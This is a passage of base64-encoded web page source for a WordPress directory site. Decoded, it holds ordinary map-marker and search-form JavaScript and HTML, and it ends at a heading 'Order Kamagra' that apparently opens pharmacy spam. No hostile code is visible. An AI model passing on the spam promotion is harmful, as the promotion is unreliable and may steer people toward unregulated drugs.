gkJCQl9CgoJCQl9LCBmdW5jdGlvbihlcnJvcil7CgkJCQlkaXNhYmxlR2VvKCk7CgkJCQloaWRlTG9hZGluZygpOwoJCQl9KTsKCQl9IGVsc2UgewoJCQlkaXNhYmxlR2VvKCk7CgkJCWhpZGVMb2FkaW5nKCk7CgkJfQoKCX0gZWxzZSB7CgoJCWlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoKCX0KCn0pOwoKZnVuY3Rpb24gYWpheEdldE1hcmtlcnMoYWpheCxnZW9sb2MscmV3cml0ZUNhdGVnb3J5LHJld3JpdGVMb2NhdGlvbixyZXNldCkgewoKCXNob3dMb2FkaW5nKCk7CgoJcmFkaXVzID0gbmV3IEFycmF5KCk7CgoJdmFyIGNhdGVnb3J5ID0gMDsKCXZhciBsb2NhdGlvbiA9IDA7Cgl2YXIgc2VhcmNoID0gJyc7Cgl2YXIgbG9jYWxlID0gJ2VuJzsKCglpZihhamF4KXsKCQlpZihyZXdyaXRlQ2F0ZWdvcnkpewoJCQljYXRlZ29yeSA9IHJld3JpdGVDYXRlZ29yeTsKCQl9IGVsc2UgewoJCQljYXRlZ29yeSA9ICQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKTsKCQl9CgkJaWYocmV3cml0ZUxvY2F0aW9uKXsKCQkJbG9jYXRpb24gPSByZXdyaXRlTG9jYXRpb247CgkJfSBlbHNlIHsKCQkJbG9jYXRpb24gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCk7CgkJfQoJCXNlYXJjaCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgpOwoKCQl2YXIgYWpheEdlbyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cigiY2hlY2tlZCIpOwoKCQlpZihhamF4R2VvICYmICFyZXNldCl7CgkJCXZhciBpbnB1dFJhZGl1cyA9IGdlb0lucHV0UmFkaXVzLnZhbCgpOwoJCQlpZighaXNOYU4oaW5wdXRSYWRpdXMpKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGlucHV0UmFkaXVzKSk7CgkJCX0gZWxzZSB7CgkJCQlnZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSkpOwoJCQl9CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMYXQudmFsKCkpKTsKCQkJcmFkaXVzLnB1c2gocGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJCX0KCX0gZWxzZSB7CgkJaWYocmVzZXQpewoJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJbG9jYXRpb24gPSBwYXJzZUludChtYXBEaXYuZGF0YSgnbG9jYXRpb24nKSk7CgkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQl9IGVsc2UgewoJCQlpZihnZW9sb2MpewoJCQkJcmFkaXVzLnB1c2gocGFyc2VJbnQoKSk7CgkJCQlyYWRpdXMucHVzaChnZW9sb2MubGF0KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxuZygpKTsKCgkJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQkJc2VhcmNoID0gbWFwRGl2LmRhdGEoJ3NlYXJjaCcpOwoJCQl9CgkJfQoJfQoJLy8gZ2V0IGl0ZW1zIGZyb20gYWpheAoJJC5wb3N0KAoJCS8vIE15QWpheCBkZWZpbmVkIGluIGZ1bmN0aW9ucy5waHAKCQlNeUFqYXguYWpheHVybCwKCSAgICB7CgkgICAgICAgIGFjdGlvbiA6ICdnZXRfaXRlbXMnLAoJICAgICAgICBjYXRlZ29yeSA6IGNhdGVnb3J5LAoJICAgICAgICBsb2NhdGlvbiA6IGxvY2F0aW9uLAoJICAgICAgICBzZWFyY2ggOiBzZWFyY2gsCgkgICAgICAgIHJhZGl1cyA6IHJhZGl1cywKCSAgICAgICAgd3BtbF9sYW5nIDogbG9jYWxlCgkgICAgfSwKCSAgICBmdW5jdGlvbiggcmVzcG9uc2UgKSB7CgkgICAgCS8vIHNob3cgcmVzZXQgYWpheCBidXR0b24KCSAgICAJaWYoKCFyZXNldCkgJiYgKCFnZW9sb2MpICYmICgkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpKXsKCSAgICAJCSQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4Jykuc2hvdygpOwoJICAgIAl9CgkgICAgCWlmKGFqYXhHZW8gJiYgIXJlc2V0KXsKCSAgICAJCXZhciBhamF4R2VvT2JqID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSxwYXJzZUZsb2F0KGdlb0lucHV0TG5nLnZhbCgpKSk7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsYWpheEdlb09iaix0cnVlKTsKCSAgICAJfSBlbHNlIHsKCSAgICAJCWdlbmVyYXRlTWFya2VycyhyZXNwb25zZSxnZW9sb2MpOwoJICAgIAl9CgkgICAgfQoJKQoJLmZhaWwoZnVuY3Rpb24oZSkgeyBjb25zb2xlLmxvZygiQUpBWCBFUlJPUiIsIGUpOyB9KTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVNYXJrZXJzKGRhdGFSYXcsZ2VvbG9jLGFqYXhHZW8pIHsKCgkvLyBjbGVhciBtYXAKCWluZm9ib3guY2xvc2UoKTsKCW1hcERpdi5nbWFwMyh7IGNsZWFyOiB7IH0gfSk7CgoJbWFwLnNldFpvb20oMTApOwoKCXZhciBsZW4gPSAkLm1hcChkYXRhUmF3LCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJdmFyIGkgPSAwOwoJLy8gcHJlcGFyZSBkYXRhCgl2YXIgZGF0YSA9IG5ldyBBcnJheSgpOwoJZm9yKHZhciBrZXkgaW4gZGF0YVJhdyl7CgkJaWYgKCEoZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10gPT0gIjAiICYmIGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXSA9PSAiMCIpKSB7CgkJCXZhciByYXRpbmcgPSAnJzsKCQkJaWYoZGF0YVJhd1trZXldLnJhdGluZyl7CgkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InJhdGluZyI+JzsKCQkJCWZvciAodmFyIGogPSAxOyBqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ21heCddOyBqKyspIHsKCQkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InN0YXInOwoJCQkJCWlmKGogPD0gZGF0YVJhd1trZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCQl9CgkJCQkJcmF0aW5nICs9ICciPjwvZGl2Pic7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJzwvZGl2Pic7CgkJCX0KCgkJCXZhciB0aHVtYkNvZGUgPSAoZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKSA/ICcgd2l0aC1pbWFnZSI+PGltZyBzcmM9IicrZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKyciIGFsdD0iIiAvPicgOiAnIj4nOwoJCQlkYXRhW2ldID0gewoJCQkJbGF0TG5nOiBbZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10sZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xvbmdpdHVkZSddXSwKCQkJCW9wdGlvbnM6IHsKCQkJCQlpY29uOiBkYXRhUmF3W2tleV0ubWFya2VyLAoJCQkJCXNoYWRvdzogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJfSwKCQkJCWRhdGE6ICc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj48ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCcrdGh1bWJDb2RlKyc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj48ZGl2IGNsYXNzPSJ0aXRsZSI+JytkYXRhUmF3W2tleV0ucG9zdF90aXRsZSsnPC9kaXY+JytyYXRpbmcrJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbImFkZHJlc3MiXSsnPC9kaXY+PGEgaHJlZj0iJytkYXRhUmF3W2tleV0ubGluaysnIiBjbGFzcz0ibW9yZS1idXR0b24iPlZJRVcgTU9SRTwvYT48L2Rpdj48ZGl2IGNsYXNzPSJhcnJvdyI+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+JwoJCQl9OwoJCQlpKys7CgkJfQogICAgfQoKICAgIC8vIHNob3cgZ2VvbG9jIG1hcmtlcgogICAgaWYoZ2VvbG9jKXsKICAgIAltYXBEaXYuZ21hcDMoewoJCQltYXJrZXI6IHsKICAgIAkJCWxhdExuZzogZ2VvbG9jLAogICAgCQkJb3B0aW9uczogewogICAgCQkJCWFuaW1hdGlvbjogZ29vZ2xlLm1hcHMuQW5pbWF0aW9uLkRST1AsCiAgICAJCQkJekluZGV4OiAxMDAwLAogICAgCQkJCWljb246ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKICAgIAkJCX0KICAgIAkJfQogICAgCX0pOwoJfQoKCS8vIGdlbmVyYXRlIG1hcmtlcnMgaW4gbWFwCgl2YXIgbWFwT2JqID0gewoJCW1hcmtlcjogewoJCQl2YWx1ZXM6IGRhdGEsCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KICAgICAgICAgIAl9LAoJCQlldmVudHM6IHsKCQkJCWNsaWNrOiBmdW5jdGlvbihtYXJrZXIsIGV2ZW50LCBjb250ZXh0KXsKCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQlpbmZvYm94LnNldENvbnRlbnQoY29udGV4dC5kYXRhKTsKCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgoJCQkJfQoJCQl9CgkJfQoJfTsKCglpZihnZW9sb2MpewoJCWlmKGFqYXhHZW8pewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMudmFsKCkpICogMTAwMDsKCQkJfSBlbHNlIHsKCQkJCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpICogMTAwMDsKCQkJfQoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoKSAqIDEwMDA7CgkJCS8vIGF1dG9maXQgYnkgY2lyY2xlCgkJCW1hcE9iai5jaXJjbGUgPSB7CgkJCQlvcHRpb25zOiB7CgkJCQkJY2VudGVyOiBnZW9sb2MsCgkJCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQkJCXZpc2libGUgOiBmYWxzZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9Cgl9CgoJaGlkZUxvYWRpbmcoKTsKCgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7CgoJaWYobGVuID09IDEgJiYgIWdlb2xvYyl7CgkJbWFwLnNldFpvb20oMTApOwoJfQoKfQoKZnVuY3Rpb24gZ2VuZXJhdGVPbmx5R2VvKGxhdCxsbmcscmFkaXVzKSB7Cgl2YXIgZ2VvbG9jID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGxhdCkscGFyc2VGbG9hdChsbmcpKTsKCS8vIGdlbmVyYXRlIGdlbyBwaW4KCW1hcERpdi5nbWFwMyh7CgkJbWFya2VyOiB7CgkJCWxhdExuZzogZ2VvbG9jLAoJCQlvcHRpb25zOiB7CgkJCQlhbmltYXRpb246IGdvb2dsZS5tYXBzLkFuaW1hdGlvbi5EUk9QLAoJCQkJekluZGV4OiAxMDAwLAoJCQkJaWNvbjogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9nZW9sb2NhdGlvbi1waW4ucG5nIgoJCQl9CgkJfQoJfSk7CgkvLyBnZW5lcmF0ZSBhbmQgYXV0b2ZpdCBieSBjaXJjbGUKCXZhciBtYXBPYmogPSB7fTsKCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChyYWRpdXMpICogMTAwMDsKCS8vIGF1dG9maXQgYnkgY2lyY2xlCgltYXBPYmouY2lyY2xlID0gewoJCW9wdGlvbnM6IHsKCQkJY2VudGVyOiBnZW9sb2MsCgkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJdmlzaWJsZSA6IHRydWUsCgkJCWZpbGxPcGFjaXR5IDogMC4xNSwKCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCX0KCX0KCW1hcERpdi5nbWFwMyggbWFwT2JqLCAiYXV0b2ZpdCIgKTsKfQoKdmFyIGNvbnRlbnREaXYgPSAkKCcjbWFpbiAjY29udGVudCcpOwp2YXIgY3VyckNvbnRlbnQgPSBjb250ZW50RGl2Lmh0bWwoKTsKdmFyIGFqYXhDb250ZW50OwoKZnVuY3Rpb24gZ2VuZXJhdGVDb250ZW50KGRhdGEpIHsKCgl2YXIgbGVuZ3RoID0gJC5tYXAoZGF0YSwgZnVuY3Rpb24obiwgaSkgeyByZXR1cm4gaTsgfSkubGVuZ3RoOwoKCWNvbnRlbnREaXYuZmluZCgnLmFqYXgtY29udGVudCcpLnJlbW92ZSgpOwoJdmFyIHRpdGxlOwoJaWYobGVuZ3RoID09IDApewoJCXRpdGxlID0gJCgnPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj48L2hlYWRlcj4nKTsKCX0gZWxzZSB7CgkJdGl0bGUgPSAkKCc8aGVhZGVyIGNsYXNzPSJlbnRyeS1oZWFkZXIiPjwvaGVhZGVyPicpOwoJfQoKCXZhciBodG1sOwoJaWYobGVuZ3RoID4gMCl7CgkJaHRtbCA9ICQoJzx1bCBjbGFzcz0iaXRlbXMiPjwvdWw+Jyk7Cgl9Cgl2YXIgbGltaXQgPSAzMDsKCWlmKGxpbWl0ID4gbGVuZ3RoKSB7CgkJbGltaXQgPSBsZW5ndGg7Cgl9Cgl2YXIgaSA9IDA7Cglmb3IodmFyIGtleSBpbiBkYXRhKXsKCQl2YXIgdGh1bWJuYWlsSHRtbDsKCQlpZihkYXRhW2tleV0udGltdGh1bWJVcmxDb250ZW50KXsKCQkJdmFyIHRodW1ibmFpbEh0bWwgPSAnPGRpdiBjbGFzcz0idGh1bWJuYWlsIj48aW1nIHNyYz0iJytkYXRhW2tleV0udGltdGh1bWJVcmxDb250ZW50KyciIGFsdD0iSXRlbSB0aHVtYm5haWwiIC8+PGRpdiBjbGFzcz0iY29tbWVudC1jb3VudCI+JytkYXRhW2tleV0uY29tbWVudF9jb3VudCsnPC9kaXY+PC9kaXY+JzsKCQl9IGVsc2UgewoJCQl0aHVtYm5haWxIdG1sID0gJyc7CgkJfQoJCXZhciByYXRpbmcgPSAnJzsKCQlpZihkYXRhW2tleV0ucmF0aW5nKXsKCQkJcmF0aW5nICs9ICc8c3BhbiBjbGFzcz0icmF0aW5nIj4nOwoJCQlmb3IgKHZhciBpID0gMTsgaSA8PSBkYXRhW2tleV0ucmF0aW5nWydtYXgnXTsgaSsrKSB7CgkJCQlyYXRpbmcgKz0gJzxzcGFuIGNsYXNzPSJzdGFyJzsKCQkJCWlmKGkgPD0gZGF0YVtrZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQlyYXRpbmcgKz0gJyBhY3RpdmUnOwoJCQkJfQoJCQkJcmF0aW5nICs9ICciPjwvc3Bhbj4nOwoJCQl9CgkJCXJhdGluZyArPSAnPC9zcGFuPic7CgkJfQoJCXZhciBkZXNjcmlwdGlvbkh0bWwgPSAnPGRpdiBjbGFzcz0iZGVzY3JpcHRpb24iPicrZGF0YVtrZXldLmV4Y2VycHREaXIrJzwvZGl2Pic7CgkJaHRtbC5hcHBlbmQoJzxsaSBjbGFzcz0iaXRlbSBjbGVhciI+Jyt0aHVtYm5haWxIdG1sK2Rlc2NyaXB0aW9uSHRtbCsnPC9saT4nKTsKCQlpZihpIDw9IGxpbWl0KXsKCQkJaSsrOwoJCX0gZWxzZSB7CgkJCWJyZWFrOwoJCX0KCX07CglhamF4Q29udGVudCA9ICQoJzxkaXYgY2xhc3M9ImFqYXgtY29udGVudCI+PC9kaXY+JykuaHRtbCh0aXRsZSkuYXBwZW5kKGh0bWwpOwoJY29udGVudERpdi5maW5kKCc+JykuaGlkZSgpOwoJY29udGVudERpdi5hcHBlbmQoYWpheENvbnRlbnQpOwp9CgovLyByZXNldCBzZWFyY2ggYWpheCB2YWx1ZXMKJCgnI2RpcmVjdG9yeS1zZWFyY2ggLnJlc2V0LWFqYXgnKS5jbGljayhmdW5jdGlvbiAoKSB7CgoJLy8gZ2V0IGRlZmF1bHQgdmFsdWVzCglhamF4R2V0TWFya2VycyhmYWxzZSxmYWxzZSxmYWxzZSxmYWxzZSx0cnVlKTsKCgoJJCgnI2Rpci1zZWFyY2hpbnB1dC10ZXh0JykudmFsKCIiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LXRleHQgbGFiZWwnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbicpLnZhbCgiIik7CgkkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCIwIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5JykudmFsKCIiKTsKCSQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoIjAiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uIGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cignY2hlY2tlZCcsZmFsc2UpOwoJJCgnZGl2LmlwaG9uZS1zdHlsZVtyZWw9ZGlyLXNlYXJjaGlucHV0LWdlb10nKS5yZW1vdmVDbGFzcygnb24nKS5hZGRDbGFzcygnb2ZmJyk7CgoJLy9nZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCgkvLyBoaWRlIGNsb3NlIGljb24KCSQodGhpcykuaGlkZSgpOwp9KTsKfSk7Cjwvc2NyaXB0PgoJCQk8ZGl2IGlkPSJkaXJlY3Rvcnktc2VhcmNoIiBkYXRhLWludGVyYWN0aXZlPSJubyI+CgkJCQk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIGNsZWFyZml4Ij4KCQkJCQk8Zm9ybSBhY3Rpb249Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8iIGlkPSJkaXItc2VhcmNoLWZvcm0iIG1ldGhvZD0iZ2V0IiBjbGFzcz0iZGlyLXNlYXJjaGZvcm0iPgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWlucHV0cyI+CgkJCQkJCQk8ZGl2IGlkPSJkaXItaG9sZGVyIj4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJkaXItaG9sZGVyLXdyYXAiPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzIiBpZD0iZGlyLXNlYXJjaGlucHV0LXRleHQiIHBsYWNlaG9sZGVyPSJTZWFyY2gga2V5d29yZC4uLiIgY2xhc3M9ImRpci1zZWFyY2hpbnB1dCIgLz4KCgkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iaWNvbiI+PC9kaXY+CgkJCQkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtYWR2YW5jZWQiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0Ij5TZWFyY2ggYXJvdW5kIG15IHBvc2l0aW9uPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0LWdlby1yYWRpdXMgY2xlYXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1yYWRpdXMiPlJhZGl1czo8L2Rpdj4KCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJtZXRyaWMiPmttPC9kaXY+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imdlby1yYWRpdXMiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLXJhZGl1cyIgdmFsdWU9IjEwMCIgZGF0YS1kZWZhdWx0LXZhbHVlPSIxMDAiIC8+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1zbGlkZXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9InZhbHVlLXNsaWRlciI+PC9kaXY+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1idXR0b24iPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ2VvIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlbyIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZC1jbG9zZSI+PC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdlby1sYXQiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLWxhdCIgdmFsdWU9IjAiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxuZyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbG5nIiB2YWx1ZT0iMCIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkiIHBsYWNlaG9sZGVyPSJBbGwgY2F0ZWdvcmllcyIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2F0ZWdvcmllcyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24iIHBsYWNlaG9sZGVyPSJBbGwgbG9jYXRpb25zIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NhdGlvbnMiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQiIHZhbHVlPSIwIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIC8+CgoJCQkJCQkJCTxkaXYgY2xhc3M9InJlc2V0LWFqYXgiPjwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTwvZGl2PgoKCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1idXR0b24iPgoJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlYXJjaCIgY2xhc3M9ImRpci1zZWFyY2hzdWJtaXQiIC8+CgkJCQkJCTwvZGl2PgoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXItc2VhcmNoIiB2YWx1ZT0ieWVzIiAvPgoJCQkJCQkKCQkJCQk8L2Zvcm0+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgoKPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGgiPgoJPGRpdiBpZD0id3JhcHBlci1yb3ciPgoJCTxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSIiPgoKCQkJPGRpdiBpZD0iY29udGVudCIgcm9sZT0ibWFpbiI+CgkJCQkKCjxoMT5PcmRlciBLYW1hZ3JhI